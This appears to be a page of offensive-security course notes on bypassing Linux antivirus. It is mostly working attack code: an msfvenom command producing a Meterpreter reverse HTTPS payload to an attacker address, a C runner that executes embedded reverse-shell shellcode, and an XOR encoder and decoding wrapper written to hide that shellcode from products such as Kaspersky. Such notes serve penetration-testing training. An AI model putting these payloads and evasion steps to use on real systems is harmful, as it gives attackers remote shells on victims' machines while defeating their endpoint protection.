> For the complete documentation index, see [llms.txt](https://osnotes.jackielam.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://osnotes.jackielam.net/osep/post-exploitation/linux/av-bypass.md).

# AV Bypass

## Bypass Kaspersky

<pre class="language-bash" data-title="generate payload" data-overflow="wrap"><code class="lang-bash"><a data-footnote-ref href="#user-content-fn-1">msfvenom -p linux/x64/meterpreter/reverse_https lhost=192.168.119.120 lport=443 -f c</a>
</code></pre>

<pre class="language-c" data-title="hack.c" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-c">#define _GNU_SOURCE
#include &#x3C;sys/mman.h> // for mprotect 
#include &#x3C;stdlib.h>
#include &#x3C;stdio.h>
#include &#x3C;stdlib.h>
#include &#x3C;unistd.h>

//'linux/x64/shell_reverse_tcp' payload
unsigned char buf[] = 
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x48\xb9\x02\x00\x01\xbb\x7f\x00\x00\x01\x51\x48\x89\xe6"
"\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce"
"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48"
"\x89\xe6\x0f\x05";

int main (int argc, char **argv) 
{
        intptr_t pagesize = sysconf(_SC_PAGESIZE);
        if (mprotect((void *)(((intptr_t)buf) &#x26; ~(pagesize - 1)),
                pagesize, PROT_READ|PROT_EXEC))
        {
                perror("mprotect");
                return -1;
        }
        	
	<a data-footnote-ref href="#user-content-fn-2">int (*ret)() = (int(*)())buf;</a>
  	ret();
  
        return 0;
}
</code></pre>

{% code title="compile" %}

```bash
gcc -o hack.out hack.c -z execstack
```

{% endcode %}

{% hint style="info" %}
if compiling on Kali, we would need to be sure the processor architecture matched the target environment
{% endhint %}

## XOR Encoder to obfuscate raw shellcode and bypass more AV

<pre class="language-c" data-title="encoder.c" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-c">#include &#x3C;stdio.h>
#include &#x3C;stdlib.h>
#include &#x3C;unistd.h>

// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=443 -f c
unsigned char buf[] = 
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x48\xb9\x02\x00\x01\xbb\x7f\x00\x00\x01\x51\x48\x89\xe6"
"\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce"
"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48"
"\x89\xe6\x0f\x05";

int main (int argc, char **argv) 
{
	<a data-footnote-ref href="#user-content-fn-3">char xor_key = 'J'</a>;
	int payload_length = (int) sizeof(buf);

	for (int i=0; i&#x3C;payload_length; i++)
	{
		printf(<a data-footnote-ref href="#user-content-fn-4">"\\x%02X",buf[i]^xor_key</a>);
	}

	return 0;
}
</code></pre>

```bash
gcc -o encoder.out encoder.c
```

```
./encoder.out
```

### Update shellcode wrapper to incorporate decoding

<pre class="language-c" data-title="hack.c" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-c">#include &#x3C;stdio.h>
#include &#x3C;stdlib.h>
#include &#x3C;unistd.h>

int main (int argc, char **argv) 
{
	char buf[] = <a data-footnote-ref href="#user-content-fn-5">"\x20\x73\x12\x45\x4F\x02\xCF\x8A...x32\x71\x02\xDD\x02\xF3\x48";</a>
	
	<a data-footnote-ref href="#user-content-fn-6">char xor_key = 'J';</a>
	int arraysize = (int) sizeof(buf);
	
	<a data-footnote-ref href="#user-content-fn-7">for (int i=0; i&#x3C;arraysize; i++)</a>
	{
		buf[i] = buf[i]^xor_key;
	}
	
	int (*ret)() = (int(*)())buf;
	ret();
	
	return 0;
}
</code></pre>

<pre class="language-bash"><code class="lang-bash"><strong>gcc -o hack.out hack.c -z execstack
</strong></code></pre>

[^1]: `unsigned char buf[] = \x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"` ...

[^2]: run our shellcode

[^3]: XOR key value (in this case, "J")

[^4]: performing a bitwise-XOR operation on the raw generated shellcode with the XOR key we chose

[^5]: shellcode processed by encoder

[^6]: same key used to encode

[^7]: performing XOR on encoded shellcode with the same key will deobfuscate each character
